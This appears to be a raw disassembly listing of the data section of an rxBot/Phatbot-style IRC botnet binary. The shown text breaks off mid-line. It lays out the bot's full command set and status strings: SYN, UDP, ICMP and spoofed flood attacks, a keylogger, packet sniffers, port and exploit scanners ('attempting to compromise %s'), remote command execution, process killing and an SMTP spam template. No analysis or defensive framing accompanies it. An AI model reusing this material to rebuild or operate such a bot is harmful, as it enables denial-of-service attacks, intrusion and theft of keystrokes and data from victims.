aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A7FC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A850 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A888 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A8D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A908 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A940 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9CC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; ___:00437F90o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+4FA1o aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 10h aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 10h aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 10h aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB0C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB48 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 10h aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 10h unk_42AB90 db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 10h aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C48o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 10h aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 4 aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 10h aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o ; ___:00437C00o ... unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 10h aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 10h aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C58o unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD20 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD3C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 10h aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD68 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42AD88 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 10h unk_42ADB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 10h unk_42ADD0 db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 10h aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE18 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 4 unk_42AE64 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AEA0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AEDC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 10h dword_42AF00 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 10h dword_42AF20 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF4C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 10h aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AF98 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFB8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 10h dword_42AFF0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B024 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 10h dword_42B050 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 10h aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B078 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0A8 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B0E8 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B124 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_42B154 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B17C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1A8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_42B1E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 10h dword_42B220 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 10h dword_42B250 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 4 aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 10h aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 10h aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C4Co ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 10h aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 4 aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 10h aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 10h aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 4 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 10h aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C34o unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C54o unicode 0, <n>,0 unk_42B350 db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3B0 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3C8 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B3E0 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 4 aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B428 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B450 dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B454 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B460 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B468 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 10h aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 10h aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 10h aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 4 aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B4D8 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B4EC dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B4F0 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B500 dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B504 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B508 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 10h unk_42B570 db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 10h unk_42B5B0 db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 10h aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B5E8 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42B614 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 4 unk_42B654 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B690 db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6BC db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B6E8 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B6F8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7A8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42B7E4 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B818 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B858 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42B884 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 10h dword_42B8C0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B8E8 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B8F8 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B904 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B914 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B924 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B958 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9A8 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 dword_42B9D4 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42B9EC db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA28 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA48 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA4C dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA64 db 2Dh ; - ; DATA 